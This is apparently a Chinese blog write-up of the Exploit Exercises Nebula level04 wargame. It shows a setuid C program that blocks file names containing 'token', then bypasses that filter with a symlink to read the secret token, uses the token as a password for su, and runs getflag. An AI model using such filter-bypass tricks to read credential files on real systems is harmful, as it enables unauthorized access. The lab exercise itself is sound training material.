ExploitExercises_Nebula_Level04

来源:互联网 发布:博客庄家统计软件 编辑:程序博客网 时间:2024/06/16 18:31

题目源码如下:

#include <stdlib.h>#include <unistd.h>#include <string.h>#include <sys/types.h>#include <stdio.h>#include <fcntl.h>int main(int argc, char **argv, char **envp){  char buf[1024];  int fd, rc;  if(argc == 1) {      printf("%s [file to read]\n", argv[0]);      exit(EXIT_FAILURE);  }  if(strstr(argv[1], "token") != NULL) {      printf("You may not access '%s'\n", argv[1]);      exit(EXIT_FAILURE);  }  fd = open(argv[1], O_RDONLY);  if(fd == -1) {      err(EXIT_FAILURE, "Unable to open %s", argv[1]);  }  rc = read(fd, buf, sizeof(buf));    if(rc == -1) {      err(EXIT_FAILURE, "Unable to read fd %d", fd);  }  write(1, buf, rc);}
/home/flag04/flag04程序运行需要输入一个参数,flag04将读取输入参数文件内容,然后打印出来,但是限制了不能读入token文件,而题目要求绕过限制,获取到token文件内容。

解决方法:

1. 创建符号链接Token,并传给flag04:

ln -s /home/flag04/token /home/level04/Token/home/flag04/flag04 /home/level04/Token
程序运行后输入token内容:06508b5e-8909-4f38-b630-fdb148a848a2

2. 切换用户su - flag04

3. 输入密码,即为1中获取到的token内容

4. 用户切换成功,运行getflag,提示成功


0 0